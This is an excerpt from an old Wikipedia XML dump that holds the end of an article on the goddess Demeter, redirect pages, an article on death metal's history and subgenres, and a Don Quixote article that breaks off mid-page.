She was associated with the [[Roman mythology|Roman]] goddess [[Ceres (god)|Ceres]]. When Demeter was given a genealogy, she was the daughter of [[Cronos]] and Rhea, and therefore the elder sister of [[Zeus]].  Her priestesses were addressed with the title [[Melissa]].

Demeter taught mankind the arts of agriculture: sowing seeds, ploughing, harvesting, etc.  She was especially popular with rural folk, partly because they most benefited directly from her assistance, and partly because rural folk are more conservative about keeping to the old ways. Demeter herself was central to the older religion of Greece. Relics unique to her cult, such as votive clay pigs, were being fashioned in the Neolithic. In Roman times, a sow was still sacrificed to Ceres following a death in the family, to purify the household.

== Demeter and Poseidon ==
Demeter and [[Poseidon]]'s names are linked in the earliest scratched notes in [[Linear B]] found at Mycenaean [[Pylos]], where they appear as PO-SE-DA-WO-NE and DA-MA-TE in the context of sacralized lot-casting. The 'DA' element in each of their names is seemingly connected to an [[Indo-European]] root relating to distribution of land and honors (compare Latin ''dare'' &quot;to give&quot;). Poseidon (his name seems to signify &quot;consort of the distributor&quot;) once pursued Demeter, in her archaic form as a mare-goddess.  She resisted Poseidon, but she could not disguise her divinity among the horses of King [[Onkios]]. Poseidon became a stallion and covered her. Demeter was literally furious (&quot;Demeter Erinys&quot;) at the assault, but washed away her anger in the River [[Ladon]] (&quot;Demeter Lousia&quot;). She bore to Poseidon a [[Persephone|Daughter]], whose name might not be uttered outside the [[Eleusinian Mysteries]], and a steed named Arion, with a black mane. In [[Arcadia]], Demeter was worshiped as a horse-headed deity into historical times.

''Disagreement:''
The etymology of &quot;Demeter&quot; is well attested as &quot;Deus Mater&quot;, or ''Divine Mother'' or ''God Mother''.  The root &quot;De&quot; is the same as found in &quot;Zeus&quot;, &quot;Deus&quot;, and &quot;Theos&quot;, all of which are cognates.  The &quot;-us&quot; suffix may denote masculine gender, as with the translation of &quot;Yeshua&quot; into Greek as &quot;Ieso''us''&quot;, or with Odysse''us'' and Achille''us'', etc.

Edit: &quot;Zeus&quot; and &quot;Theos&quot; are not real cognates. Greek &quot;Zeus&quot;, Sanskrit &quot;Dyaús&quot; and Latin genitive &quot;Iovis&quot; all derive from the same Proto-Indo-European root *Di&amp;#275;us. The Greek &quot;Theos&quot; doesn't fit in this cognate set, in fact, the etymology of the word is still unclear. (cf. Beekes, 1995)

== Demeter's Relationship With Persephone ==
The central myth of Demeter, which is at the heart of the [[Eleusinian Mysteries]] is her relationship with [[Persephone]], her daughter and own younger self. In the Olympian pantheon, Persephone became the consort of [[Hades]] (Roman [[Pluto (god)|Pluto]], the underworld god of wealth). Persephone became the goddess of the underworld when Hades abducted her from the earth and brought her into the underworld. She had been playing with some [[nymph]]s (or [[Leucippe]]) whom Demeter changed into the [[Siren|Sirens]] as punishment for not having interfered. Life came to a standstill as the depressed Demeter (goddess of the earth) searched for her lost daughter (resting on the stone, [[Agelasta]]). Finally, Zeus could not put up with the dying earth and forced Hades to return Persephone by sending [[Hermes]] to retrieve her. But before she was released, Hades tricked her into eating three [[pomegranate]] seeds, which forced her to return three months each year. When Demeter and her daughter were together, the earth flourished with vegetation. But for three months each year, when Persephone returned to the underworld, the earth once again became a barren realm. The three months when the earth is barren are the summer months, since in Greece this is when all vegetation dies from heat and lack of rainfall. The winter by comparison has heavy rainfall and mild temperatures in which plant life flourishes. It was during her trip to retrieve Persephone from the underworld that she revealed the Eleusinian Mysteries. In an alternate version, [[Hecate]] rescued Persephone. In other alternative versions, Persephone was not tricked into eating the pomegranate seeds but chose to eat them herself. Some versions say that she ate six seeds rather than three. Regardless, the end result is the occurrence of summer, spring, winter, and fall.

==Demeter's stay at Eleusis==
While Demeter was searching for her daughter Persephone, having taken the form of an old woman called [[Doso]], she received a hospitable welcome from [[Celeus]], the King of [[Eleusis]] in [[Attica, Greece|Attica]] (and also [[Phytalus]]).  He asked her to nurse [[Demophon]] and [[Triptolemus]], his sons by [[Metanira]].

As a gift to Celeus, because of his hospitality, Demeter planned to make Demophon as a god, by coating and anointing him with [[Ambrosia]], breathing gently upon him while holding him in her arms and bosom, and making him immortal by burning his mortal spirit away in the family hearth every night. She put him in the fire at night like a firebrand or ember without the knowledge of his parents.

Demeter was unable to complete the ritual because his mother Metanira walked in and saw her son in the fire and screamed in fright, which angered Demeter, who lamented that foolish mortals do not understand the concept and ritual.

Instead of making Demophon immortal, Demeter chose to teach Triptolemus the art of agriculture and, from him, the rest of Greece learned to plant and reap crops. He flew across the land on a winged [[chariot]] while Demeter and Persephone cared for him, and helped him complete his mission of educating the whole of Greece on the art of agriculture.

Later, Triptolemus taught [[Lyncus]], King of the [[Scythia]]ns the arts of agriculture but he refused to teach it to his people and then tried to kill Triptolemus.  Demeter turned him into a [[lynx]].

Some scholars believe the Demophon story is based on an earlier prototypical folk tale.{{ref|Nilsson3}}

==Portrayals and Miscellanea==
Demeter was usually portrayed on a chariot, and frequently associated with images of the harvest, including flowers, fruit, and grain.  She was also sometimes pictured with Persephone.

Demeter is not generally portrayed with a consort: the exception is [[Iasion]], the youth of Crete who lay with Demeter in a thrice-ploughed field, and was sacrificed afterwards&amp;mdash; by a jealous Zeus with a thunderbolt, Olympian mythography adds, but the Cretan site of the myth is a sign that the Hellenes knew this was an act of the ancient Demeter.

Demeter placed [[Aethon]], the god of famine, in [[Erysichthon]]'s gut, making him permanently famished.  This was a punishment for cutting down trees in a sacred grove.

==Notes==
#{{note|Nilsson1}} Martin P. Nilsson, ''Greek Popular Religion'', p.45: &quot;We have a document concerning the Eleusinian cult which is older and more comprehensive than anything concerning any other Greek cult, namely, the Homeric Hymn to Demeter composed in Attica before Eleusis was incorporated into the Athenian state, not later than the end of the seventh century B.C. We know that the basis of the Eleusinian Mysteries was an old agrarian cult celebrated in the middle of the month Boedromion (about October) and closely akin to the Thesmophoria, a festival of the autumn sowing celebrated by the women not quite a month later. I need not dwell upon this connection, which is established by internal evidence as well as by direct information.&quot;
#{{note|Nilsson2}} Martin P. Nilsson, ''Greek Popular Religion'', p.56: &quot;Isocrates speaks in his ''Panegyricus'' of the two greatest gifts granted the Athenians by Demeter-- the Corn, which is the reason why men do not live like wild beasts, and the Mysteries, from which they derive higher hopes in regard to their life and all time&quot;.
#{{note|Nilsson3}} Martin P. Nilsson, ''Greek Popular Religion'', p.50: &quot;The Demophon story in Eleusis is based on an older folk-tale motif which has nothing to do with the Eleusinian Cult. It is introduced in order to let Demeter reveal herself in her divine shape&quot;.

== References ==
* [[Walter Burkert]] (1985) ''Greek Religion,'' Harvard University Press, 1985.
* [[Ingri &amp; Edgar Parin d'Aulaire]], ''D'Aulaire's Book of Greek Myths'', 1962. An illustrated book of Greek myths retold for children.
* [[Jane Ellen Harrison]], ''Prolegomena to the Study of Greek Religion,'' 1903
* [[Karl Kerenyi]], ''Eleusis: archetypal image of mother and daughter,'' 1967.
* [[Karl Kerenyi]], ''Dionysos: Archetypal Image of Indestructible Life,'' 1976
* Martin P. Nilsson, ''Greek Popular Religion'', 1940. [http://www.sacred-texts.com/cla/gpr/]
* [[Carl_A._P._Ruck|Carl Ruck]] and Danny Staples, ''The World of Classical Myth,'' 1994.

== External links ==
{{Commonscat|Demeter}}
*[http://www.templeofdemeter.com/index.html &quot;Temple of Demeter&quot; website]
*[http://uh.edu/~cldue/texts/demeter.html Text of Homeric Hymn to Demeter]
*[http://www.sacred-texts.com/cla/gpr/ Online book of Martin P. Nilsson, ''Greek Popular Religion'']

{{Greek myth (chthonic olympian)}}

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  </page>
  <page>
    <title>Daleks</title>
    <id>8231</id>
    <revision>
      <id>15906244</id>
      <timestamp>2005-04-29T15:10:25Z</timestamp>
      <contributor>
        <username>Khaosworks</username>
        <id>60133</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.54.208.177|24.54.208.177]] to last version by Bryan Derksen</comment>
      <text xml:space="preserve">#REDIRECT [[Dalek]]</text>
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  </page>
  <page>
    <title>Death metal</title>
    <id>8233</id>
    <revision>
      <id>42158625</id>
      <timestamp>2006-03-04T05:12:26Z</timestamp>
      <contributor>
        <username>Hmas</username>
        <id>1019222</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{mergefrom|Florida death metal}}
'''Death metal''' is a sub-genre of [[Heavy metal music|Heavy Metal]] that evolved out of [[Thrash Metal]] during the early 1980s. Commonly recognized characteristics include rhythmic, chromatic progressions and a narrative or &quot;story telling&quot; song structure such that there is not a verse-chorus cycle as much as an ongoing development of themes and motifs. Aesthetically, it is usually identified by violent rhythm guitar, fast percussion and dynamic intensity. &quot;[[Blast beat]]s&quot; are frequently used to add to the ferocity of the music. The vocals are commonly low gurgles named growl, death growl, or death grunt. This kind of vocalising is distorted by use of the throat, unlike traditional singing technique which discourages it. Music journalist Chad Bowar notes that, due to the similarity of the vocals to &quot;unintelligible yelling&quot;, the style is sometimes described as &quot;[[Cookie monster]] vocals&quot;{{ref|Bowar}}. Also, those not familiar with the genre sometimes confuse it with &quot;[[Deathrock]]&quot;. 

Death metal's subject matter usually addresses more nihilistic themes than any other genre (except maybe [[black metal]]), usually using metaphors of a gruesome nature to represent a larger concept. The focus on mortality along with the extreme nature of the music (as well as the name of [[Death (band)|Death]], one of the genre's pioneers) likely inspired the naming of this genre as &quot;death&quot; metal.

Death metal is commonly known for abrupt [[tempo]] and count/[[time signature]] changes, and extremely fast and complex guitar and [[drum]]work, although this is not always the case. Bands of this genre frequently utilize downtuned and distorted [[guitar]]s, a downtuned, sometimes distorted [[bass guitar]], a drum set (almost universally using two [[bass drum]]s). Although this is the standard setup, bands have been known to incorporate other instruments such as [[Keyboard instrument|keyboards]]. Death metal is very physically demanding of its musicians, especially in its more &quot;technical&quot; forms.

== Early history (up to 1991) ==
Death metal is a subgenre of [[Heavy metal music|heavy metal]]. [[Death grunt|Growling vocals]] are the primary identifier for death metal for the newer generation. But this by itself also includes works such as ''Welcome to Hell'' from [[1981]] by British metal group [[Venom (band)|Venom]] where the vocals may be mostly &quot;growling&quot;, but the music is not what is generally meant by &quot;death metal&quot; today. '''Venom''' never labelled what they did, but their album titled 'BLACK METAL' became the basis for labelling music with 'Satanic' lyrics,and growling vocals [[black metal]].

Genres are not usually identified solely by aesthetic form, and black or death metal labels are not easy to apply to some bands. One example of this is the American band [[Slayer (band)|Slayer]], a pioneering[[Thrash Metal]] band.  This genre (like Black Metal, one that predates Death Metal), is also characterized by complex rhythmics and heavy guitar riffing. Slayer is not classified as a death metal band, and have never labeled themselves as such.  Even so, with aggressive thrash-metal milestones such as their debut [[Show No Mercy]] from 1983, and subsequent works, they certainly influenced many of the creators of death metal, just like '''Venom''' did.

There is no shortage of bands that can be said to have influenced death metal. So, when did death metal emerge as a genre of its own? The actual sequence of events is fairly well documented and agreed upon (see external links below), but the question &quot;Who created death metal and when?&quot; is, of course, a matter of defining precisely what one calls death metal. One useful way to classify movements would be to speak of &quot;early death metal&quot; and &quot;modern death metal&quot;, as will be outlined below, keeping in mind that some observers do not consider the &quot;early&quot; form to be death metal at all.

Around [[1983]], aggressive U.S. bands such as Florida's [[Death (band)|Death]], California's [[Possessed (band)|Possessed]], and Chicago's [[Master (band) | Master]] began to form. If one would call this diffuse genre &quot;early death metal&quot;, the first recorded examples of this would be [[Possessed (band)|Possessed]]'s album ''[[Seven Churches]]'' from 1985 and early demotapes by Death, followed by Death's album ''[[Scream Bloody Gore]]'' from 1987. To their credit, these &quot;early death metal&quot; bands did push the format forward, something that would ultimately pay off in a new form of music that was substantially different from their closest forefather, [[thrash metal]]. 

However, other death metal historians maintain that the 1985 brand of &quot;early death metal&quot; is more aptly summarised by the moniker &quot;[[speed metal|post-thrash]]&quot; and that the band Death receives inflated credit partly because of its name. In particular, the music flora around 1985, although fitting the above description of &quot;extreme brutality and speed&quot; for its time, did not create anything significantly new compared to their immediate predecessors, and one would be hard pressed to identify strong and specific musical differences between, say Death's debut album from [[1987]] and same-period work by [[thrash metal]] bands such as the [[Brazil]]ian [[Sepultura]] or even the aforementioned Venom, except perhaps slightly &quot;growlier&quot; vocals. 

The alternative standpoint is that the modern concept of &quot;death metal&quot;&amp;mdash;the point when it clearly decouples from the origins in heavy metal and thrash metal&amp;mdash;can be set to [[1989]] or [[1990]]. Just as in the original creation of [[NWOBHM]] (New Wave of British Heavy Metal) by [[Iron Maiden]] and other bands was sparked by the youthful energy of [[punk rock]] in the late [[1970s]], so did cross-fertilisation between metal and punk once more create something new in the late [[1980s]]. The chaotic and often confusing development that took place around this time is well illustrated by the British band [[Napalm Death]], often characterised as a &quot;[[grindcore]]&quot; band (see below). This band was simultaneously always part of the [[hardcore punk]] scene. However, Napalm Death themselves changed drastically around or before [[1990]], leaving [[grindcore]] (and most of the band members) behind. Concise proof of this merger of [[thrash metal]] and [[hardcore punk]] is the project band [[Terrorizer|Terrorizer's]] album, [[World Downfall]] (1989), where members from Napalm Death and the American band Morbid Angel, part of the &quot;early death metal &quot; scene, compose together. Few observers would disagree that many bands, including the early US death metal bands but now also bands from many other scenes and other countries, drove a major shift in musical emphasis around 1990-1991.

In particular, on 1990's ''[[Harmony Corruption]]'', Napalm Death can be heard playing something most fans would call death metal today, i.e. &quot;modern death metal&quot; by the above characterization. This album clearly displays aggressive and fairly technical guitar riffing, complex rhythmics, a sophisticated growling vocal delivery by [[&quot;Barney&quot; Greenway]], and thoughtful lyrics.
Other bands contributing significantly to this early movement include Britain's [[Bolt Thrower (band)|Bolt Thrower]], Britain's [[Carcass (band)|Carcass]], Sweden's [[Entombed (band)|Entombed]], New York's [[Suffocation (band)|Suffocation]], and Florida's [[Morbid Angel]].  
To close the circle, the band [[Death]] put out the album [[Human]] in 1991, certainly an example of modern death metal.
The band Death's founder [[Chuck Schuldiner]] helped push the boundaries of uncompromising speed and technical virtuosity, mixing in highly technical and intricate rhythm guitar work with complex arrangements and emotive guitar solos. Other examples of this are Carcass's [[Necroticism: Descanting the Insalubrious]] from 1991, Suffocation's debut [[Human Waste]] from the same year and Entombed's [[Clandestine]] from 1992.
At this point, all the above characteristics are clearly present: abrupt [[tempo]] and count changes, occasionally extremely fast [[drum]]work, morbid lyrics and growling delivery.

== Later developments (1990s onwards) Subgenres that emerged ==
During the 1990s, death metal grew in many directions, spawning a rich variety of subgenres, including the following:

* [[Melodic death metal]], where harmonies and melodies are much more present in the guitarwork. Although more melodic, it can sound more raw than the more precise sounding American variety. This subgenre is mostly associated with [[Sweden]], especially in [[Gothenburg]], as well as [[Norway]] and [[Finland]] (see [[Scandinavian death metal]]). The genre finds its best representation in [[At the Gates]], [[In Flames]], [[Dark Tranquillity]], and [[Arch Enemy]]. The [[Iron Maiden]]-esque techniques employed by these &quot;Gothenburg&quot; bands formed a riff-lexicon frequently used by many metalcore bands that have risen in popularity since [[2001]]. Because of this style's origin, these bands are (often mockingly) called Gothencore (See: [[metalcore]]). Many metal fans consider this genre to be separate from true death metal. 
* [[Florida death metal]], which includes some of the most notable bands. They are more rigid and percussive than the Swedish variant, more precise, refined and traditional, yet more direct and brutal than the Technical variety.  Bands include [[Deicide (band)|Deicide]], [[Monstrosity (band)|Monstrosity]], [[Obituary (band)|Obituary]], [[Death (band)| Death]] (some albums are technical as well).
* [[Technical death metal]], a narrow, but influential subgenre where musical complexity and skill is the main focus. It is represented by bands like [[Gorguts]], [[Necrophagist]], [[Cynic (band)|Cynic]], [[Atheist (band)|Atheist]], [[Pestilence (band)|Pestilence,]] [[Obliveon (band)|Obliveon]], and eventually, [[Death (band)|Death]]. 
* [[Brutal death metal]], developed by combining certain aspects of the song structures of [[goregrind]] with death metal.  Brutal Death Metal is associated with bands like [[Decapitated]] [[Devourment]], [[Vomit Remnants]],[[Cannibal Corpse]] and [[Internal Suffering]]. One main characteristic of Brutal Death is the vocal style, often called &quot;Cookie Monster&quot; vocals, or &quot;bullfrog&quot; vocals , the words are mostly unintelligible, sung in a grunting and choppy manner, &amp; usually following the guitar riffs. Brutal death bands seem to compete, to try to have lower, sicker vocals than anyone else. Secondly, the guitar riffs are usually either chunky or hyper fast, down-tuned, with pinch harmonics, and little to no mid-range in the distortion. Drumming is usually all over the place, from slow churning chunk, to blasting speed; there is almost no middle ground. Suffocation is probably one of the main influences for this style. 
* [[Death/doom]], which is a slowed down, melancholic subgenre, inspired by classic [[doom metal]]. It was created by the likes of [[Asphyx]], [[Disembowelment (band)|Disembowelment]], [[My Dying Bride]], [[Anathema (band)|Anathema]], and [[Paradise Lost (band)|Paradise Lost]]. 
* [[Slam death metal]], characterised by frequent Hardcore-like breakdowns and low grunting vocals. [[Internal Bleeding]] and [[Dying Fetus]] are slam death metal bands.
* [[Blackened death metal]], which is death metal mixed with [[black metal]] stylistic influences, notable in the vocals and riffing style. [[Dissection (band)|Dissection]] is a prime example of this genre, as is [[Emperor (band)|Emperor]] on their ''IX Equilibrium'' album, and [[Zyklon (band)|Zyklon]] (featuring former members of [[Emperor (band)|Emperor]]).
* Death Thrash (also called Deathrash), which is Thrash with elements of death metal including speed, guitar picking techniques and vocals. In the earliest incarnation this style was the progression from Thrash metal to death metal. Some bands are [[Benediction (band)|Benediction]], [[Cancer (band)|Cancer]], [[Konkhra]] and Criminal. Some Sepultura albums could also be classified this way.

[[Grindcore]] is considered by some to be an even more extreme variant of death metal.  However, many fans of grindcore and music historians would place it in a genre by itself, since the genre historically developed in parallel to death metal (both developed in the 1980s, death metal from [[thrash metal]] and grindcore from [[hardcore punk]]), each influencing the development of the other, but with early [[grindcore]] having a much more obvious [[hardcore punk]] and [[anarcho-punk|peace punk]] influence. Some early grind bands: Napalm Death, Electro Hippies, Fear of God. Grindcore eventually increased in speed and harshness, into newer bands such as Narcosis, Pigsty, and Agoraphobic Nosebleed.

There are also other heavy metal subgenres that have come from fusions between death metal and other non-metal genres, such as the fusion of death metal and [[Jazz]] played by [[Pestilence (band)|Pestilence]] on their ''Spheres'' album, or the work of Florida bands Atheist and Cynic, the former of which sometimes went as far as to include [[jazz]]-style drum solos on albums, and the latter of which incorporated notable influences from [[fusion (music)|fusion]].

==Key artists== 
&lt;!-- Don't add or remove bands without discussion on the talk page! --&gt;
Key death metal bands include [[Atheist (band)|Atheist]], [[Autopsy (band)|Autopsy]], [[Cannibal Corpse]], [[Carcass (band)|Carcass]], [[Death (band)|Death]], [[Deicide (band)|Deicide]], [[Entombed (band)|Entombed]], [[Immolation (band)|Immolation]], [[Morbid Angel]], [[Napalm Death]], [[Obituary (band)|Obituary]], [[Possessed (band)|Possessed]],  and [[Suffocation (band)|Suffocation]].

==See also==
*[[List of death metal bands]]
*[[Death growl]]

== External links == 
*[http://www.hmas.org Carnage Inc.] Band profiles, audio, videos, lyrics, images and more
*[http://www.deathmetal.com DeathMetal.com]
*[http://www.anus.com/metal/about/deathmetal.html Genre analysis and historical information]
*[http://www.choosingdeath.com Choosing Death: The Improbable History of Death Metal &amp; Grindcore] Extensive history of the genres written by Albert Mudrian

==Notes==
#{{note|Bowar}} {{cite web | title=Cookie Monster Vocals | work=about.com | url=http://heavymetal.about.com/od/glossary/g/gl_cookiemonste.htm | accessdate=January 21 | accessyear=2006}}.  See further examples of this usage at {{cite web | title=The cookie monster vocal explained | work=rocknerd | url=http://rocknerd.org/article.pl?sid=04/07/15/1626209 | accessdate=January 21 | accessyear=2006}} and {{cite web | title=The categorization of death metal | work=metalstorm.ee | url=http://www.metalstorm.ee/articles/article.php?id=18 | accessdate=January 21 | accessyear=2006}}.
{{heavymetal}}

[[Category:Metal subgenres]]
[[Category:Transgressive art]]

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  <page>
    <title>Des Moines</title>
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      <timestamp>2005-01-11T04:33:59Z</timestamp>
      <contributor>
        <ip>202.40.210.164</ip>
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      <text xml:space="preserve">#Redirect [[Des Moines, Iowa]]</text>
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  <page>
    <title>Don Quixote</title>
    <id>8237</id>
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      <timestamp>2006-03-01T17:50:02Z</timestamp>
      <contributor>
        <username>CrackWilding</username>
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      <text xml:space="preserve">:''This page is about the fictional character and novel. For other meanings, see [[Don Quixote (disambiguation)]].''

'''''Don Quixote de la Mancha''''' (now usually spelled '''''Don Quijote''''' by Spanish-speakers; '''''Don Quixote''''' is an archaic spelling) ({{IPA2|don ki'xote ð̞e la 'manʧa}}) is a [[novel]] by the [[Spain|Spanish]] author [[Miguel de Cervantes|Miguel de Cervantes Saavedra]]. Published in [[1605]], it is one of the earliest written [[novel]]s in a modern [[European language]] and is considered by some to be the finest book in the [[Spanish language]]. [http://www.bbc.co.uk/worldservice/programmes/masterpiece.shtml]. Nevertheless, it is almost universally accepted to be the emblematic work of Spanish literature.

The adjective &quot;quixotic&quot;, at present meaning &quot;idealistic and impractical&quot;, derives from the protagonist's name, and the expressions &quot;[[jousting|tilting]] at [[windmill]]s&quot; and &quot;fighting windmills&quot; come from this story.

There are many adaptations of the book, mostly designed to modernise and shorten the text.  One such adaptation is authored by Agustín Sánchez and runs to only 150 pages.
[[Image:Don Quixote.jpg|right|thumbnail|200px|Statues of Don Quixote (left) and Sancho Panza (right)]]

== The book ==
{{spoiler}}

The novel actually consists of two parts: the first, titled ''El ingenioso [[hidalgo]] Don Quixote de la Mancha'', was published in [[1605]] (off [[Juan de la Cuesta]]'s printing press in Madrid on [[December 20]], [[1604]], and made available to the public on [[January 16]], 1605) and the second, ''Segunda parte del ingenioso caballero Don Quixote de la Mancha'', in [[1615]] (a year before the author's death). In [[1614]], between the first and second parts, a fake Don Quixote sequel was published by somebody using the pen name [[Alonso Fernández de Avellaneda]]. French Don Quixote specialist [[Dominique Aubier]] suspects seriously [[Lope de Vega]] of being the author of that literary jest. For this reason, Part II contains several references to an imposter, whom Quixote rails against and Part II ends with the death of Don Quixote (so no imposter could experiment again with Cervantes's character).

Cervantes tells that the first chapters come from the &quot;chronicles of La Mancha&quot; and the rest was translated by a [[morisco]] from a [[found manuscript]] by the original Arabic author Cide Hamete Benengeli (&quot;Mr. Hamid [[Eggplant]]&quot;). This and other narrative resources parody the then-popular genre of [[romance (genre)|chivalric romance]].

[[Image:Quixote8788.png|right|frame|Don Quixote is knighted by an inn-keeper]]

The plot covers the journeys and adventures of Don Quixote and [[Sancho Panza]]. Alonso Quijano is an ordinary Spaniard (a [[Hidalgo (disambiguation)|hidalgo]], the lowest rank of the Spanish nobility) who is obsessed with stories of [[knight-errant|knights errant]] (''[[libros de caballerías]]''), especially those written by [[Feliciano de Silva]]. His friends and family think he is crazy when he decides to take the name of ''Don Quixote de la Mancha'' and become a knight errant himself (a ''[[don]]'' being a title of a higher nobility, and a ''quixote'' in Spanish was a piece of armor). Then he sorties to wander [[Spain]] on his thin horse [[Rocinante]], righting wrongs and protecting the oppressed.

Don Quixote is visibly crazy to most people. He believes ordinary inns to be enchanted castles, and their peasant girls to be beautiful princesses. He mistakes windmills for oppressive giants sent by evil enchanters. He imagines a neighboring peasant to be ''[[Dulcinea]] del [[El Toboso|Toboso]]'', the beautiful maiden to whom he has pledged love and fidelity. 

Sancho Panza, his simple squire, believes his master to be a bit crazy.  In particular, he knows that there is &quot;really&quot; no Dulcinea, but he plays along, hoping to get rich.  He and Quixote agree for instance that because Dulcinea is not as pretty nor does she smell as good as she should, she &quot;must have been enchanted&quot;, and from that point on the mission is to disenchant her.
[[Image:529px-Quijote-1.jpg|right|thumb|200px|Illustration to Don Quixote by [[Jean Ignace Isidore Gérard|Grandville]], 1848]]
[[Image:Quijote-2.jpg|right|thumb|200px|Illustration to Don Quixote by [[Jean Ignace Isidore Gérard|Grandville]], 1848]]
Both master and squire undergo complex change and development throughout the story, and each character takes on attributes of the other as the novel goes on.  At the end of the second book, Quixote decides on his deathbed that his actions have been madness.  Sancho begs him not to give up, but to no avail. He burns all of his books of knight-errantry save one: [[Amadis of Gaul]], the originator of the genre.

Master and squire have numerous adventures, often causing more harm than good in spite of their noble intentions. They meet criminals sent to the [[galley]]s, and are victims of an elaborate prank by a pair of Dukes, when Sancho is made &quot;governor&quot; of the nonexistent [[Barataria]].

Many Americans may be more familiar with the musical ''[[Man of la Mancha]]'' than with the book itself.  If they read the book, they would be in for some surprises: for example Dulcinea, or [[Aldonza Lorenzo]], one of the main characters of the play, is never seen in the book.  

In the novel, she is constantly invoked by Don Quixote as his lady, but never appears, allowing his hyperbolic statements of her beauty and virtue to go untested. 

=== Opening sentence ===
[[Image:Cervantes Don Quixote 1605.gif|thumb|190px|left|Cervantes' ''Don Quixote'' (1605), original title page]]
:''En un lugar de la Mancha, de cuyo nombre no quiero acordarme, no ha mucho tiempo que vivía un hidalgo de los de lanza en astillero, adarga antigua, rocín flaco y galgo corredor''.
&lt;!--[enunlu'&amp;#611;arðela'mant&amp;#643;a de'ku&amp;#607;o'nombreno'kjeroakor'ðarme noa'mut&amp;#643;o'tjempokeβi'βiauni'ðal&amp;#611;o ðelozðe'lanθaenasti'&amp;#654;ero a'ðar&amp;#611;aan'ti&amp;#611;wa rro'θin'flako i'&amp;#611;al&amp;#611;okorre'ðor]--&gt;

:&quot;In some village in La Mancha, whose name I do not care to recall, there dwelt not so long ago a gentleman of the type wont to keep an unused lance, an old shield, a greyhound for racing, and a skinny old horse.&quot;

The phrase ''de cuyo nombre no quiero acordarme'' (whose name I do not care to recall) was made famous by the book, and, like other fragments of the book, is a common cliché in modern Spanish.

==== English Translation of Agustin Sánchez's Adaptation (First two paragraphs) ====
''Note: The Sánchez adaptation is a shortened version of the original and allows the student to gain a quicker understanding of the story without being burdened excessively by every detail which appeared in the original.  This shortened adaptation still runs to about 150 pages.''

:&quot;In a village in La Mancha, whose name I don't wish to recall, lived, a long long time ago, a gentleman, tall and dry as the flesh which wrapped around his 50 years, and which kept him reputed as being a good man.  As the story goes, he was called Alonso Quijano and he lived a modest life without luxuries, although within his house, nobody lacked food or a good piece of velvet with which to light up the holidays.  Don Alonso lived with a female servant who had already reached fifty years, and with a niece who had not yet reached twenty, and he was an early riser and fan of hunting which led him to have a narrow friendship with the priest and barber of his village.  As a gentleman, he had hardly any responsibilities, and so he dedicated his many hours of free time to reading adventure books.  He was so fond of the stories about giants and battles, wandering knights and captive princesses that it led him to sell a good part of his land to pay for books and more books. 

*[http://www.amazon.com/gp/reader/0060188707?p=S01N  Cf most recent (2005) translation (by Edith Grossman)]
:By day and by night, don Alonso had nothing to do better than to read.  Because of the books he stopped looking after his home and neglected his affairs, so soon, by dint of reading so much, and sleeping so little, his brain dried up, and he became mad.  Suddenly he released the grip on the book he was holding between his hands and furiously brandished his old sword and began stabbing at the walls as if he was defending himself from a legion of fierce giants.  He had convinced himself that everything he had read in the books was true........&quot;

== Importance ==

[[Image:Quixo-panza.jpg|Don Quixote and Sancho Panza|left|thumb|240px|Don Quixote and Sancho Panza after an unsuccessful attack on a windmill. By [[Gustave Doré]]]]
Don Quixote is often nominated as the world's greatest work of fiction.  It stands in a unique position between medieval [[romance (genre)|chivalric romance]] and the [[modern novel]].  The former consist of disconnected stories with little exploration of the inner life of even the main character.  The latter are usually focused on the psychological evolution of their characters.  In Part I, Quixote imposes himself on his environment.  By Part II, he is no longer physically capable, but people know about him, &quot;having read his adventures&quot;, and so, he needs to do less to maintain his image.  By his deathbed, he has begun to assume a new identity, including a nickname, &quot;the Good&quot;.

There are many minor literary &quot;firsts&quot; for European literature&amp;mdash;a woman complaining of her menopause, someone with an eating disorder, and the psychological revealing of their troubles as something inner to themselves.

Subtle touches regarding perspective are everywhere:  characters talk about a woman who is the cause of the death of a suitor, portraying her as evil, but when she comes on stage, she gives a different perspective entirely that makes Quixote (and thus the reader) defend her. When Quixote descends into a cave, Cervantes admits that he does not know what went on there.

Quixote's adventures tend to involve situations in which he attempts to apply a knight's sure, simple morality to situations in which much more complex issues are at hand. For example, upon seeing a band of [[galley slave|galley slaves]] being mistreated by their guards, he believes their cries of innocence and attacks the guards. After they are freed, he demands that they honor his lady Dulcinea, but instead they pelt him with stones and leave.  

Different ages have tended to read different things into the novel.  When it was first published, it was usually interpreted as a [[comic novel]].  After the [[French Revolution]] it was popular in part due to its central ethic that individuals can be right while society is quite wrong and disenchanting&amp;mdash;not comic at all.  In the [[19th century]] it was seen as a social commentary, but no one could easily tell &quot;whose side Cervantes was on&quot;.  By the [[20th century]] it became clear that it was not simply a unique and great moral work, but the first true modern novel, as [[Dominique Aubier]] writes:
''a &quot;systemical and structural masterpiece, inspired by the Zohar, the cornerstone of the spanish Kabalah.&quot;''

American author [[Barry Gifford]] described &quot;Don Quixote&quot; as &quot;the first [[Beat Generation|Beat]] novel&quot;. 

Following the [[Cuban revolution]], the revolutionary government founded a publishing house called Instituto Cubano del Libro (Cuban Book Institute), to publish large runs of great literature for distribution at low prices to the masses. The first book published by the Instituto was ''Don Quixote''.

For the 400th anniversary of the original publication of the novel, the [[Venezuela|Venezuelan]] government printed one million summarized copies for free distribution. Similar initiatives took place in [[Spain]] and other Spanish-speaking countries around the world

==Use in tourism==
[[Image:Quixote monument.jpg|300px|thumb|Monument to Don Quixote and Dulcinea in [[El Toboso]], Castile-La Mancha, Spain.]]
The [[autonomous communities in Spain|autonomous community]] of [[Castile-La Mancha]] has used the fame of Cervantes's novel to promote tourism in the region. A number of sites in [[La Mancha]] are linked to the novel, including windmills and an inn upon which events of the story are thought to have been based. Several trademarks also refer to Don Quixote's characters and events.

[[Image:QuijoteIVCentenario.JPG|250px|left|thumb|IV centenary of Don Quixote of La Mancha (1605-2005)]]
In 2004, a scholarly team lead by Francisco Parra Luna announced that it had identified the &quot;real&quot; hometown of Don Quixote, which is never actually named in the novel (the very first line of the book begins, 

“In a village of La Mancha the name of which I have no desire to recall ....”) Based on clues in the novel, along with computations of the time it would have taken a man on horseback to reach the various locations referenced by the author, the team identified the place as Villanueva de los Infantes, a small town some 144 miles south of Madrid.

As reported in press accounts, Mariano Sabina, the mayor of Villanueva de los Infantes, said upon hearing the news: &quot;I’m delighted that my town is the famous place in La Mancha. Now I hope the whole world will know us.&quot;

== Literary influence ==

